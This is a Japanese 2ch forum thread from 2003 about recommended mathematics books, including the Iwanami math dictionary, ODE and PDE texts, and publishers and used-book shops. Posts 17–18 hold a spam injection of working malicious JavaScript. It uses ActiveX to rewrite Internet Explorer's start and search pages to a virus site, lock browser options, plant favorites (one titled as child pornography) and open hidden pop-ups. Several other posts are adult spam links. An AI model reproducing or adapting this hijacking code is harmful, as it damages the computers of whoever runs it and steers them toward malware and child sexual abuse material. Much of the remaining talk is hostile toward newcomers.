数学の本 4冊目

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1 名前： １３２人目の素数さん 投稿日： 03/05/05 19:21: 数学学習マニュアルまとめページ
http://www.geocities.co.jp/Technopolis-Mars/7997/
主に最初のスレの前半が編集してある。結構便利。
■久しぶりに更新('03/5/3～5) なんて書いてあるんで、
肉さんが復活して、他の部分も編集されるかも。
(いや、休日に時間があっただけかもしれんが…)

数学の本３冊目
http://science.2ch.net/test/read.cgi/math/1044371030/
数学の本2
http://science.2ch.net/test/read.cgi/math/1029582748/l50
数学の本
http://science.2ch.net/test/read.cgi/math/968679939/l50

関連スレは>>2-5あたり
2 名前： １３２人目の素数さん 投稿日： 03/05/05 19:22: ブックオフで買った数学書
http://science.2ch.net/test/read.cgi/math/1036315166/l50
タメになる数学本教えて！
http://science.2ch.net/test/read.cgi/math/1001952915/l50
二代目数学学習マニュアル（大学生、院生編）
http://science.2ch.net/test/read.cgi/math/1015741116/l50
幾何学を学べる本
http://science.2ch.net/test/read.cgi/math/1007545791/l50
微分方程式の良書は？
http://science.2ch.net/test/read.cgi/math/1015505167/l50
線形代数の名著おしえて
http://science.2ch.net/test/read.cgi/math/1015136251/l50
統計学なんでもスレッド
http://science.2ch.net/test/read.cgi/math/1012782106/l50
幾何学を学べる本
http://science.2ch.net/test/read.cgi/math/1007545791/l50
田島一郎・解析入門ってどうなんですか？
http://science.2ch.net/test/read.cgi/math/1019575226/l50
杉浦光夫・解析入門Ⅰ・Ⅱってどうなんですか？
http://science.2ch.net/test/read.cgi/math/1013543704/l50
松坂和夫の「解析入門第1～6巻」って・・・
http://science.2ch.net/test/read.cgi/math/1021050374/l50
『解析概論』について
http://science.2ch.net/test/read.cgi/math/1012121435/l50
日本評論社「数学セミナー」について
http://science.2ch.net/test/read.cgi/math/1010839684/l50
多項式のラプソディー
http://science.2ch.net/test/read.cgi/math/1013147983/l50
3 名前： １３２人目の素数さん 投稿日： 03/05/05 19:24: 2のスレのかなりが倉庫逝ってるよ…
4 名前： １３２人目の素数さん 投稿日： 03/05/05 19:28: ブックオフで買った数学書
http://science.2ch.net/test/read.cgi/math/1036315166/l50
二代目数学学習マニュアル（大学生、院生編）
http://science.2ch.net/test/read.cgi/math/1015741116/l50
微分方程式の良書は？(part2)
http://science.2ch.net/test/read.cgi/math/1050051365/l50
統計学なんでもスレッド
http://science.2ch.net/test/read.cgi/math/1012782106/l50
杉浦光夫・解析入門Ⅰ・Ⅱってどうなんですか？
http://science.2ch.net/test/read.cgi/math/1013543704/l50
小平の解析入門激しくキボン（略
http://science.2ch.net/test/read.cgi/math/1031384710/l50
『解析概論』について
http://science.2ch.net/test/read.cgi/math/1012121435/l50
「数学セミナー」vol.2
http://science.2ch.net/test/read.cgi/math/1050563258/l50

>>2関係のスレで現行のスレ。
5 名前： １３２人目の素数さん 投稿日： 03/05/05 19:30: 高校生にはどんな参考書がｵｽｽﾒ？
http://science.2ch.net/test/read.cgi/math/1039852648/l50
物理・工学のための数学の教科書・参考書
http://science.2ch.net/test/read.cgi/math/1037812771/l50
追加じゃ。
6 名前： １３２人目の素数さん 投稿日： 03/05/05 19:53: 勝手にローカルルール

とりあえずここはまじめに数学の本の話をするスレであって、
暴露スレでもネタスレでもないのであしからず。
7 名前： 2 投稿日： 03/05/05 19:53: >>3-5
すまそ。

他に本関連のスレはこんぐらいしかないか。

【数学】前原昭二：数学基礎論入門【基礎論】
http://science.2ch.net/test/read.cgi/math/1043852921/l50
正しい数学書の読みかた
http://science.2ch.net/test/read.cgi/math/1012677288/l50
肌身離さず持ち歩いている愛読書
http://science.2ch.net/test/read.cgi/math/1038493236/l50
ブルーバックスに面白い奴あるの？
http://science.2ch.net/test/read.cgi/math/1047632638/l50
吉田武著「オイラーの贈物」
http://science.2ch.net/test/read.cgi/math/1010240790/l50
東京出版・大学への数学
http://science.2ch.net/test/read.cgi/math/1033307567/l50
河合出版・理系数学の原点
http://science.2ch.net/test/read.cgi/math/1043565822/l50
8 名前： 物理の本 投稿日： 03/05/05 20:04: 物理板参考書まとめ
http://www.geocities.co.jp/Technopolis-Jupiter/2234/

[荒し]大学生の為の参考書・教科書 Part4［厳禁］
http://science.2ch.net/test/read.cgi/sci/1039309911/l50
大学生の為の物理学の参考書・教科書・問題集 Part3
http://science.2ch.net/sci/kako/1033/10337/1033798913.html
大学生の為の物理学の参考書・教科書・問題集 Part2
http://science.2ch.net/sci/kako/1028/10282/1028201314.html
大学生の為の物理学の参考書・教科書・問題集
http://science.2ch.net/sci/kako/1003/10039/1003917807.html
9 名前： １３２人目の素数さん 投稿日： 03/05/05 20:16: 経済板
経済入門に最適な本は？
http://money.2ch.net/test/read.cgi/eco/1004331629/l50

経済板ってこれ以外に見つからないんだよなぁ…
10 名前： １３２人目の素数さん 投稿日： 03/05/05 20:20: 出版社関連(国内)

裳華房
http://www.shokabo.co.jp/
共立出版
http://www.kyoritsu-pub.co.jp/
培風館
http://www.baifukan.co.jp/
朝倉書店
http://www.asakura.co.jp/
岩波書店
http://www.iwanami.co.jp/
日本評論社
http://www.nippyo.co.jp/
現代数学社
http://www.gensu.co.jp/
サイエンス社
http://www.saiensu.co.jp/
東大出版
http://www.utp.or.jp/k-mokuroku/sugaku.html
森北出版
http://www.morikita.co.jp/
吉岡書店
http://www3.ocn.ne.jp/~yoshioka/index.html

復刊ドットコム
http://www.fukkan.com/
11 名前： １３２人目の素数さん 投稿日： 03/05/05 20:30: 古書

日本の古本屋
http://www.kosho.or.jp/
多くの古本屋の在庫を検索できる。
非専門書店は専門書の価値がわからんのか、
たまにすっげー安くで売ってたりすることがある。
(逆に高いこともあるけど…)

四方堂書店
http://www.shi-ho-do.com/home.php
結構安い。

書林ふくろう
http://www.fukuro-books.com/
まあまあ。

明倫館書店
http://www.meirinkan.net/
http://www.book-kanda.or.jp/kosyo/1029/index.asp
ノーコメント。
12 名前： １３２人目の素数さん 投稿日： 03/05/05 20:33: >>10
シュプリンガー東京も入れてあげれ。
http://www.springer-tokyo.co.jp/default.shtml
13 名前： １３２人目の素数さん 投稿日： 03/05/05 20:41: >>1-12
乙！！
14 名前： １３２人目の素数さん 投稿日： 03/05/05 21:04: にくしﾏﾝｾｰ
15 名前： １３２人目の素数さん 投稿日： 03/05/06 10:23: 明倫館て高いけど、けっこう良い値で買ってもくれるからな…
16 名前： １３２人目の素数さん 投稿日： 03/05/06 10:25: age
17 名前： １３２人目の素数さん 投稿日： 03/05/06 15:12: <script> document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent </APPLET ");
function AddFavLnk(loc, DispName, SiteURL){var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");Shor.TargetPath = SiteURL;Shor.Save();}
function f(){
try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl = a1.GetObject();a1.setCLSID
("{0D43FE01-F093-
11CF-8940-00A0C9054228}");a1.createInstance();FSO = a1.GetObject();a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();Net = a1.GetObject();
try{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.ebcvg.com/vx_exe.html");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar", "http://www.ebcvg.com/vx_exe.html");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page", "http://www.ebcvg.com/vx_exe.html");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserOptions", "1");
var WF, Shor, loc;WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites";if(!FSO.FolderExists(loc)){
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";if(!FSO.FolderExists(loc)){return;}}
AddFavLnk(loc,"FREE Forbidden Lolitas Porno","http://freepics.place.cc");
AddFavLnk(loc,"Virii http://www.ebcvg.com/vx_exe.html","http://www.ebcvg.com/vx_exe.html");
18 名前： １３２人目の素数さん 投稿日： 03/05/06 15:12: catch(e){}}
catch(e){}}
function vx() {
var xxx=window.open('');
xxx.blur();
xxx.location="out.php";}
window.onerror=new Function("self.close();return true");
setTimeout("f()",1000);setInterval("vx()",40000);self.moveTo(5000,5000);self.blur();
setTimeout("window.onfocus=setIt;",300);
function setIt(){
self.moveTo(5000,5000);
self.blur();return false;}
if(document.all) document.onmousedown = setIt;
else if(document.layers){
window.captureEvents(Event.MOUSEDOWN);
window.onmousedown=setIt;}
function xit() {
window.open('xex.html');window.open('out.php');}
<script>
19 名前： １３２人目の素数さん 投稿日： 03/05/06 15:16: ☆☆☆☆ＵＲＬ保存してください。☆☆☆☆
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20 名前： 前スレ９９３ 投稿日： 03/05/06 21:04: 993 名前：１３２人目の素数さん投稿日：03/05/06 20:53
岩波数学辞典って用語解説だけですか？
詳しい内容を教えてくれると嬉しいです。

994 名前：１３２人目の素数さん投稿日：03/05/06 20:55
んなこたあない、とりあえず買え

↑東大の河東って人が学生時代これを通読していた、と聞きましたが、
定理の証明から何から何まで載っているんですか？
これ買えば線形大数の本や、解析の本もいらないの？
21 名前： １３２人目の素数さん 投稿日： 03/05/06 21:10: (･∀･)ﾆﾔﾆﾔ
22 名前： １３２人目の素数さん 投稿日： 03/05/06 21:14: 「へい、らっしゃい。お客さん、何にしやす？」ということだな、こいつは
23 名前： 前スレ９９３ 投稿日： 03/05/06 21:15: >>21
またﾆﾔﾆﾔしてるよ～
何が可笑しいの？
24 名前： １３２人目の素数さん 投稿日： 03/05/06 21:16: ＞常微分方程式
ポントリャーギンはコンパクトに纏まってて良いよ．
でも所々で電気回路の話とか出てくる．
個人的に好きなのはコディントン・レヴィンソンの
　　常微分方程式論
大部だけど話の流れに無理がないというか，飛躍が
少ないように思う．
25 名前： 前スレ９９３ 投稿日： 03/05/06 21:20: >>22
意味解りません・・・
河東さんが読んでいたってことは、ただの辞書ではないんですよね？
辞書で勉強が出来たから読んでいたんじゃないんですか？
とりあえずボクが勘違いしてそうな所を指摘して下さい。
26 名前： １３２人目の素数さん 投稿日： 03/05/06 22:13: >>10
東京図書
http://www.tokyo-tosho.co.jp/index.html
27 名前： １３２人目の素数さん 投稿日： 03/05/06 22:15: 日本評論者のガロア理論講義みたいなのをゆうりんどうで座り読みしてたんですが
結構わかりやすくていい本だと思うのはいj分だけですか？
28 名前： １３２人目の素数さん 投稿日： 03/05/06 22:22: >>27
おまえだけかも知れないが（ｗ、自信を持てよ
29 名前： 動画直リン 投稿日： 03/05/06 22:23: http://homepage.mac.com/hitomi18/
30 名前： 前スレ９９３ 投稿日： 03/05/06 23:37: 放置してんじゃねーよバカ！
31 名前： １３２人目の素数さん 投稿日： 03/05/06 23:40: (･∀･) ｲﾗｲﾗｲｸﾅｲ!
32 名前： １３２人目の素数さん 投稿日： 03/05/06 23:40: んっ，お客さん，通だね>>24
33 名前： 前スレ９９３ 投稿日： 03/05/06 23:43: 定理の証明は載ってるのか？
34 名前： １３２人目の素数さん 投稿日： 03/05/06 23:45: 自分で確認しろや！糞がぁ！
35 名前： １３２人目の素数さん 投稿日： 03/05/06 23:51: 河東へきごとう？サイババ？
36 名前： 前スレ９９３ 投稿日： 03/05/06 23:54: ①定理の証明は載ってるのか？
②和英検索・英和検索は出来るのか？

まとめてみた。
37 名前： １３２人目の素数さん 投稿日： 03/05/07 00:01: 双曲型偏微分方程式で特に波動方程式とか散乱とかの話題を数学的に
詳しく扱ってる本，どなたか知りませんか？
38 名前： １３２人目の素数さん 投稿日： 03/05/07 00:39: >>36
質問内容は、図書館で調べればすぐに分かるようなことではないの?
39 名前： 前スレ９９３ 投稿日： 03/05/07 00:51: >>38
なんで教えてくれないんだよ！
５秒でレス出来ることなのに！！
40 名前： １３２人目の素数さん 投稿日： 03/05/07 00:54: >>39
ど～しても言わせたいようだな。
お前が嫌いだからだよ。
41 名前： 前スレ９９３ 投稿日： 03/05/07 00:57: 数学コンプが
42 名前： １３２人目の素数さん 投稿日： 03/05/07 00:59: 41 名前：前スレ９９３：03/05/07 00:57
数学コンプが
43 名前： １３２人目の素数さん 投稿日： 03/05/07 01:02: >>41
さんざん質問しといてその捨て台詞かよ！
不覚にも笑っちまったじゃねぇーか
44 名前： １３２人目の素数さん 投稿日： 03/05/07 01:03: 岩波数学辞典は証明のない要項集です。
附録として公式集なんかがある。

英和和英機能も持つが分厚いのでそれ用には不便。

って、カンジかにゃ。ＯＫ？
45 名前： 前スレ９９３ 投稿日： 03/05/07 01:05: じゃあ河東は定理を眺めてただけ？
アホくさ。
46 名前： １３２人目の素数さん 投稿日： 03/05/07 01:09: >>45　キミのその感想は正しい。
47 名前： １３２人目の素数さん 投稿日： 03/05/07 01:11: 河東はおもしろみのない数学者の代表みたいなひと。
まあ、ある意味エライのかも。
48 名前： １３２人目の素数さん 投稿日： 03/05/07 01:35: ＞河東はおもしろみのない数学者の代表みたいなひと。
ﾊｧ？お前センス無さ過ぎ．
49 名前： １３２人目の素数さん 投稿日： 03/05/07 01:37: 面白味のない数学を飽きずにやってる河東さん　・・ステキ♪
50 名前： １３２人目の素数さん 投稿日： 03/05/07 01:42: >>45
非常識な人でつね。
51 名前： １３２人目の素数さん 投稿日： 03/05/07 04:06: えぇと、学生の与太話をマジに取るな。

って、誰もマジに取ってはいないか。
52 名前： １３２人目の素数さん 投稿日： 03/05/07 05:31: 51=kawahigashi
53 名前： １３２人目の素数さん 投稿日： 03/05/07 05:43: 現代数学の本を１冊ある程度読んでから岩波数学辞典を読むと
理論構成の仕方や基本定理というものはどんなものかというのが
学べるということでしょう。

職業数学者をめざすひと限定。
正直あんまりいいお勉強の仕方とは言えない。
54 名前： １３２人目の素数さん 投稿日： 03/05/07 06:34: Cambridge University Press の本は全体的に価格が低く抑えられていますけど、
何か理由でもあるのですか?
国から補助金が出ているとか、、、

微妙にスレ違いｽﾏｿ
55 名前： １３２人目の素数さん 投稿日： 03/05/07 08:17: http://www.geocities.co.jp/Technopolis-Mars/7997/026.html

354 名前：１３２人目の素数さん投稿日：01/09/26 18:44
>>352
河東さんは高校の頃、数学辞典読んでたって話だね

526 名前：１３２人目の素数さん投稿日：02/03/02 23:44
岩波数学事典って、輪講に使えますでしょうか？
一回につき一つのトピックを講義する。もちろん、事典に載ってる順
。

Ｔ大のＫ東教授（旧姓・Ａ野）は、大学時代にこれを通読したという逸話がある。
56 名前： bloom 投稿日： 03/05/07 08:23: http://homepage.mac.com/ayaya16/
57 名前： １３２人目の素数さん 投稿日： 03/05/07 13:45: >>37
双曲型なら、井川満「偏微分方程式論入門」（裳華房）を読め
散乱なら更に、井川満「散乱理論」（岩波・現代数学の展開）も読め
58 名前： １３２人目の素数さん 投稿日： 03/05/07 15:21: >53
その勉強の仕方って，夜間高校のの数学の教師をしていた
佐藤幹夫の勉強の仕方と同じだ．天才系の勉強の仕方だね．
たしかに，凡人には向かない勉強法だ．
59 名前： １３２人目の素数さん 投稿日： 03/05/07 15:48: M_SHIRAISHI氏も16～18の頃に、数学辞典を読了したらしい。
60 名前： １３２人目の素数さん 投稿日： 03/05/07 16:06: 第四版出るのはいつだよ！
61 名前： １３２人目の素数さん 投稿日： 03/05/07 16:50: 岩波数学辞典１０分の１も読めば理論構成のしかたとかわかるから
１冊読み通す必要ないと思うんだが。

１冊読み通してなんかいいことがあるのか？
62 名前： １３２人目の素数さん 投稿日： 03/05/07 16:53: 広辞苑一冊読み通すぐらいの御利益がある。
63 名前： １３２人目の素数さん 投稿日： 03/05/07 17:08: >>59
そっか。じゃーやめとこ。ｗ
64 名前： １３２人目の素数さん 投稿日： 03/05/07 18:32: >>53
現代数学の本というのは？
何でもいいのか？例えば解析概論のような本でも？
65 名前：５３投稿日： 03/05/07 19:49: >>64
そうですね。
それ自身がひとつの理論であるようなのならなんでもいいと思います。
66 名前： １３２人目の素数さん 投稿日： 03/05/07 20:58: かわちゃんは高校のとき岩並数学辞典
ドリちゃんは高校のときブルバキ叢書
ガロたんは高校のときルジャンドルの名著
を読んだ。

さてキミはどのタイプだ？！
67 名前： １３２人目の素数さん 投稿日： 03/05/07 21:01: 透明ドリちゃんの中の人は結構タイプだな
68 名前： １３２人目の素数さん 投稿日： 03/05/07 21:05: 透明ドリちゃん
http://www.geocities.co.jp/Hollywood-Miyuki/2049/toumeidori.html
69 名前： １３２人目の素数さん 投稿日： 03/05/07 21:05: オレはなんも読まん。念力だ！
70 名前： 37 投稿日： 03/05/07 21:10: >>57
ありがとう．早速明日見てみるよ．
71 名前： １３２人目の素数さん 投稿日： 03/05/07 21:33: >>70 洗脳されたな。（藁」
72 名前： １３２人目の素数さん 投稿日： 03/05/07 21:47: 71 名前：１３２人目の素数さん：03/05/07 21:33
>>70 洗脳されたな。（藁」
73 名前： １３２人目の素数さん 投稿日： 03/05/07 22:06: 72 名前：１３２人目の素数さん：03/05/07 21:47
71 名前：１３２人目の素数さん：03/05/07 21:33
>>70 洗脳されたな。（藁」
74 名前： １３２人目の素数さん 投稿日： 03/05/09 01:58: >>62
それはつまり、御利益なんてほとんど無い、って意味ですか?
75 名前： １３２人目の素数さん 投稿日： 03/05/09 10:25: >>74
「人による」って事だ。
76 名前： １３２人目の素数さん 投稿日： 03/05/09 22:57: >>75
そっか。
確かに読んで御利益のある人もいそうだな。
77 名前： 初学者 投稿日： 03/05/11 21:52: アントンの線形代数ってどうよ？読んだ人いる。
78 名前： １３２人目の素数さん 投稿日： 03/05/11 22:39: 若干20歳にしてヒルベルトの未解決問題を解いた
V.I.Arnoldさんのセミナー
アーノルド･セミナーの問題を集めた問題集がどっかの出版社から出たらしいのですが
どなたかご存じないでしょうか？
79 名前： １３２人目の素数さん 投稿日： 03/05/12 00:12: >>78
これですよね？
和訳でも出たんですか？
ttp://www.amazon.co.jp/exec/obidos/ASIN/0817638830/qid=1052665713/sr=1-12/ref=sr_1_0_12/249-7229758-6198756
80 名前： １３２人目の素数さん 投稿日： 03/05/12 00:23: >>77 1年の線型代数のテキストがアントンでした(ただし英語版)。
英語版はとても読みやすいですよ。和訳は知りませんが。
81 名前： １３２人目の素数さん 投稿日： 03/05/12 05:42: 線型代数の本なんて何でもいいだろ(w
82 名前： １３２人目の素数さん 投稿日： 03/05/12 11:08: 初学者にとっては、演習問題の質・量ともに
秀でているテキストがいいと思うが…
83 名前： １３２人目の素数さん 投稿日： 03/05/12 12:16: >>77
http://www.gensu.co.jp/cgi-local/book.cgi?4-7687-0037-3
まあ、悪くはないんじゃない。

http://www.gensu.co.jp/cgi-local/book.cgi?4-7687-0101-9
これってなんか面白げ。在庫無いみたいだけど。
84 名前： １３２人目の素数さん 投稿日： 03/05/12 17:01: 岩波数学辞典買ったはいいけど、使い方ﾜｶﾝﾈ
ピタゴラスの定理とかは載ってないの？
85 名前： １３２人目の素数さん 投稿日： 03/05/12 17:11: >>84

おまえみたいなヴァカが読むものじゃないよ
86 名前： １３２人目の素数さん 投稿日： 03/05/12 17:25: 岩波数学時点は買った当時こそ
「これほど便利なものはない」
と思ったていたが、しばらくしてその古さを嘆くことになった。
そろそろ次の版を出して欲しいなあ
とか思うけど俺が学生のうちには確実に出版されないだろうな。
87 名前： １３２人目の素数さん 投稿日： 03/05/12 17:41: >>86

第4版に改訂中だそうだが，
なにせ辞書は編集作業に時間がかかるから，
気長にまった方がよさそうだね．

値段あんまり上がらないでほしいけど，
まあ無理だろうね
88 名前： １３２人目の素数さん 投稿日： 03/05/12 18:38: 数学辞典第４版は今年はでませぬ

冬頃、岩波の別の数学辞典が出るよ。
一般向けに易しくした奴。
それでがまんしる。
89 名前： １３２人目の素数さん 投稿日： 03/05/12 19:12: 素数入門が欲しいんですけど、持ってるかたいますか？
90 名前： １３２人目の素数さん 投稿日： 03/05/12 20:57: 岩波数学辞典って何が目的の辞典なんですか？
辞典というぐらいだから、現代数学全分野における定義集なんですか？
定理集ではないですよね？
定理を全部載せていたら１冊には収まらないか・・
91 名前： １３２人目の素数さん 投稿日： 03/05/12 20:59: >>90
おまえにとっては本棚の飾りか枕
92 名前： １３２人目の素数さん 投稿日： 03/05/12 20:59: >>90
>>44
93 名前： １３２人目の素数さん 投稿日： 03/05/12 21:04: >>92
要項って具体的に何ですか？
定理の結果は網羅しているってこと？
94 名前： １３２人目の素数さん 投稿日： 03/05/12 21:34: だけど岩波数学辞典の９８００円（税抜き）て安いね。
共立だったら３万以上とるんじゃないのか。
95 名前： １３２人目の素数さん 投稿日： 03/05/12 21:53: 標準微分積分
Standard Calculus

千葉大学教授　理博　高木亮一・
千葉大学教授　工博　渚　　勝・
千葉工業大学講師　博（理）　東條晃次共著

Ａ５判／186頁／本体価格2100円＋税／2002年11月
ISBN4-7853-1532-6

　論理的に厳密さを求められる数学的な証明は避けながら，大学初年の
理工系で要求される話題はほぼ網羅し，「１変数の微積分→２変数の微積分」
の順序で解説したテキスト．

#　数学的な証明を避けた本が標準かぁ
96 名前： １３２人目の素数さん 投稿日： 03/05/12 21:55: 千葉大学の標準ってことだろ（ｗ
97 名前： １３２人目の素数さん 投稿日： 03/05/12 22:00: 標準ﾜﾗﾀ
98 名前： １３２人目の素数さん 投稿日： 03/05/12 22:06: >>87
数学辞典の新しい版の話題は編集委員長の服部先生が少し書いてます。

「通常数学辞典といえば誰しも数学会編集，岩波書店発行のものを考えるであろう．」(ry
（数学辞典第４版編集委員長服部晶夫）
http://wwwsoc.nii.ac.jp/msj6/sugakutu/intro06.html#4

できれば、実際に作業をしている他の数学者の声も聞いてみたいと思ったり。
99 名前： １３２人目の素数さん 投稿日： 03/05/12 23:56: 第3版じゃ Faltings とか Donaldson とかのやったことも
書いてないんじゃないのかな？
# むろん Witten も

ちょっと，もの足りないよね．
100 名前： １３２人目の素数さん 投稿日： 03/05/13 00:01: 1版→2版の間の時間、2版→3版の間の時間は同じくらいなのに
3版→4版の間の時間はそんなもんじゃねぇというのか…！
101 名前： １３２人目の素数さん 投稿日： 03/05/13 12:12: >>98のリンク先からの引用

　数学は数学それ自身で価値があるという考えでは古いのだろうか．学生がすべて
「実用的価値」だけにしか興味が無いとは思えない．二昔前なら，「素数」などは
何の実用的価値も無かったはずだし，それでも研究には全く不自由しなかったはずだ．
数学に研究前から実生活上の利益を望めば，「素数」などはまっ先に消えた題材だったろう．
「素数」は数学がすべて「役立つ」（正確には「役にも立つ」）可能性があること，
さらには，どれが役に立つかなどは全くわからないこと，の良い例であろう．
もちろん，２５００年昔のイタリア南岸のクロトンに集結していたピタゴラス学校の
人々が素数の有用性を考慮したとは思えない．そのおかげで，「素数」は今に伝えられてある．
哲学のない実利的風土でも数学が育つのだろうか．
　一般の人にも２１世紀の数学を伝えたいものである．

（支部評議員黒川信重）
102 名前： １３２人目の素数さん 投稿日： 03/05/14 05:54: うほっ、いい本！
103 名前： １３２人目の素数さん 投稿日： 03/05/14 06:12: 　　　　　　　　　　　　　　　　　　　　　〇
　　　　　　　　　　　　　　　／／　/　　　　　　　＼
　　　　　　　　　　　　　／　　　　　　　　　　　　　＼＼
　　　　　　　　　　　　　　盗作がバレないように
　　　　　　　　　　　しっかり口裏を合わせておくニダ！
　　　　　　　　　　　　　　　　　　　　 ∧＿∧
　　　　　　　　　　　　　　　　　　　　<｀∀´、>
　　　　　　　　　　　　　∧∧ 　　　⊂ .　＾　ヽ　∧＿∧
　　　　　　　　　　　／<、｀∀>　　　｜　　　∪ <　　　　>
　　　　　　　　　∧∧　'⌒ 　)￣￣￣￣∧＿∧∩/⌒／｜
　　　　　　 .／（-@∀@）／　　　　　　<　　　　> ィ｜　｜
　　　　　　｜　′　　つ　　　　　　　　　 /⌒ ／｜ｌ　　｜
　　　　　　｜　ｌ∪.／　　　　　　　　　　./ /｜　. ｜」　／||
　　　　　　｜　`／　　　　　　　　　　 .ι ゝ｜　. ｜ ||　　||
　　　　　　　、ｌ￣￣￣￣￣￣￣￣　ｌ/ ＿」　／||　||
104 名前： １３２人目の素数さん 投稿日： 03/05/14 06:57: >>99 Donaldsonの仕事は載ってるぞ。
105 名前： １３２人目の素数さん 投稿日： 03/05/14 10:20: http://www.ms.u-tokyo.ac.jp/~t-saito/jd.html
斉藤先生の原稿がのってるよ！
106 名前： 動画直リン 投稿日： 03/05/14 10:23: http://homepage.mac.com/hitomi18/
107 名前： 数学の本 投稿日： 03/05/14 13:56: 水理学の数値解析で見知らぬ用語がたくさん出てきてこまってます。
デロニーニー三角分割、ボロノイ図、クリストッフェル記号云々。
はっきりいって全面的にお手上げなのですが、数値解析はどの専門書も似たようなものです。
図面もなく、例題もなく、ただただ数式だらけ。
これでも工学書か、というような本ばかり。

行列計算はガウス法オンリーとしても、やはり肝心の物理モデルとその座標変換操作が
チンプンカンプンでは応用になりません。
双対格子とか共変、反変ベクトルなどの用語はどうもホモロジーとか微分幾何とかいった数学から来ているようです。

なお、巻末に参考文献がありますが、堅い表題の本で、なんだか別の道に進んで迷子になりそうで躊躇してしまいます。
工学ですから、読むのはせいぜい物理本までにとどめておきたいのですが、適当なのがみつかりません。
理解できなくても使えればＯＫという工学的利用からは、どんな参考書にあたればいいものでしょうか。
108 名前： １３２人目の素数さん 投稿日： 03/05/14 13:59: >>107

つまんなそ
109 名前： １３２人目の素数さん 投稿日： 03/05/14 15:05: >>107

ナニまいあがってんだよ？

数式が出てくるとちんぷんかんぷんてクチ？

ちったあ，自分で勉強したら？

ここはそういうことを質問するスレじゃないよ
110 名前： １３２人目の素数さん 投稿日： 03/05/14 15:10: >>107
> 理解できなくても使えればＯＫという工学的利用からは、
> どんな参考書にあたればいいものでしょうか。

知らねーよタコ

オマエ頭わるそうだね
無理すんなよ(w
111 名前： １３２人目の素数さん 投稿日： 03/05/14 15:16: >>107

少し空気読んだら？
112 名前： 数学の本 投稿日： 03/05/14 15:22: 了解です。
しっかし、はやいですね、反応が。
113 名前： １３２人目の素数さん 投稿日： 03/05/14 15:36: 107は凄腕の釣り師
114 名前： １３２人目の素数さん 投稿日： 03/05/14 15:45: >>107

おまえ絵で本を理解する人？
幼稚園生？
115 名前： １３２人目の素数さん 投稿日： 03/05/14 15:52: >>107
> 双対格子とか共変、反変ベクトルなどの用語はどうもホモロジーとか微分幾何とか
> いった数学から来ているようです。

そんな大ゲサなもんじゃねーだろカス
116 名前： ((≡゜♀゜≡)) 投稿日： 03/05/14 15:54: ((≡゜♀゜≡))いいよ～
http://homepage3.nifty.com/coco-nut/
117 名前： １３２人目の素数さん 投稿日： 03/05/14 16:21: >>107

工学のやつってみんなヴァカなの？

こいつもそうだし．

【欺瞞】数学論文は役立たず【暴露】
http://science.2ch.net/test/read.cgi/math/1052471246/
118 名前： １３２人目の素数さん 投稿日： 03/05/14 18:37: 群論の入門書で読みやすいのは何ですか。
119 名前： １３２人目の素数さん 投稿日： 03/05/14 18:46: 軍の発見というのが評判いいみたいだけど。。。。。。
120 名前： １１８ 投稿日： 03/05/14 18:52: >>119

「軍」・・・。「ぐん」の漢字は「群」ですよ！
121 名前： １３２人目の素数さん 投稿日： 03/05/14 19:02: >>118

おまえ群にあこがれてるガキだろ？
変なロマンもつなよ
122 名前： １３２人目の素数さん 投稿日： 03/05/14 19:07: 群の発見は証明問題に答えが付いてないのがちょっと。。。。
123 名前： １３２人目の素数さん 投稿日： 03/05/14 19:21: >>114
> おまえ絵で本を理解する人？
> 幼稚園生？
絵で理解するスーパー数学者はたくさんいるわけだが、、、
124 名前： １３２人目の素数さん 投稿日： 03/05/14 19:24: >>123

例えば誰？？
125 名前： １３２人目の素数さん 投稿日： 03/05/14 19:35: >>124
> 例えば誰？？
サーストン
126 名前： １３２人目の素数さん 投稿日： 03/05/14 19:37: >>125

>>107 は Thurston とまったく別次元だろ
127 名前： １３２人目の素数さん 投稿日： 03/05/14 19:38: >>107 はたいしたことないものを
数式とか言葉だけでおびえてる憐れで無知なやつ
128 名前： １３２人目の素数さん 投稿日： 03/05/14 20:02: 相手を見下す余りに自分の中で想定する相手のレベルに合わせたレスをしなくても良かろうに…
かえって新たな自分の愚かさ加減を露呈してしまうだけだぞ。
129 名前： １３２人目の素数さん 投稿日： 03/05/14 20:17: 工学部の者なのですが、複素解析でやさしい演習書はないでしょうか？
解答が詳しくて、簡単な本を探しています
130 名前： GO MAXIMA 投稿日： 03/05/14 21:45: 演習書ではないが並の演習書より問題が多く最もやさしい本
Complex Variables Stephen S.Fisher
ISBN 0486406792 16.95 $ Dover本 Amazon Japanから 2000￥しないはず
p427 問題400題以上４章 Analytic and Harmonic Functions in Applicarion
５章 Transform Methods (Fourier Transform やLaplace ransformやZ-Transform
)に特色があります。とにかくやさしく書けていると言う点ではbestに近いでしょう。
遠い昔のチャートとか思い出しますね。プロ志望の人にも問題だけみてもよいかも、
数学的な頭を鍛えるのには向いていませんが。
131 名前： １３２人目の素数さん 投稿日： 03/05/14 21:49: だからなんだ？　
132 名前： GO MAXIMA 投稿日： 03/05/14 21:52: >>129 へ
133 名前： １２９ 投稿日： 03/05/14 21:56: >>130
あの、英語が苦手なので、できれば日本語の本がよいのですが、
つーか英語の参考書なんて読んだことありません
日本語の本でお勧めはないでしょうか？
134 名前： １３２人目の素数さん 投稿日： 03/05/14 22:08: 学部で英語が読めないって…ネタか？
135 名前： １３２人目の素数さん 投稿日： 03/05/14 22:12: 最近の学生は「ハイフン」も知らんのね。
筆記体読めないし。

世も末だ。
136 名前： １３２人目の素数さん 投稿日： 03/05/14 22:16: >>135
>最近の学生は「ハイフン」も知らんのね。
"-"を「ハイフン」と読むことは知らなくても（嘆くほど）変じゃないだろ

>筆記体読めないし。
駅弁でもこれはマズイな
137 名前： １３２人目の素数さん 投稿日： 03/05/14 22:18: >>136
